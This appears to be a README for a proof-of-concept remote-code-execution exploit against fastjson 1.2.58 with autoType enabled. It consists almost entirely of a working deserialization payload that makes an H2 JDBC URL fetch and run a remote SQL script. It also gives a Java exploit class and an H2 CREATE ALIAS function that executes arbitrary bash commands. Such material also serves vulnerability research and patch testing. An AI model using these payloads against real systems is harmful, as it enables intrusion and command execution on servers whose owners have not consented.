jas502n/fastjson-1.2.58-rcefastjson-1.2.58-rce con database h2
fastjson autoType is enabled
h2 database and some jar
.
├── fastjson-1.2.58.jar
├── h2-1.4.199.jar
├── jackson-annotations-2.9.8.jar
├── jackson-core-2.9.8.jar
├── jackson-databind-2.9.8.jar
└── logback-core-1.3.0-alpha4.jar
http://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.58/fastjson-1.2.58.jar
{"@type":"ch.qos.logback.core.db.DriverManagerConnectionSource", "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class exp {
public static void main(String[] args){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\", \"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}";
JSONObject json = JSON.parseObject(payload);
json.toJSONString();
}
}
puoi creare una funzione su H2 che richiama codice java
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('calc')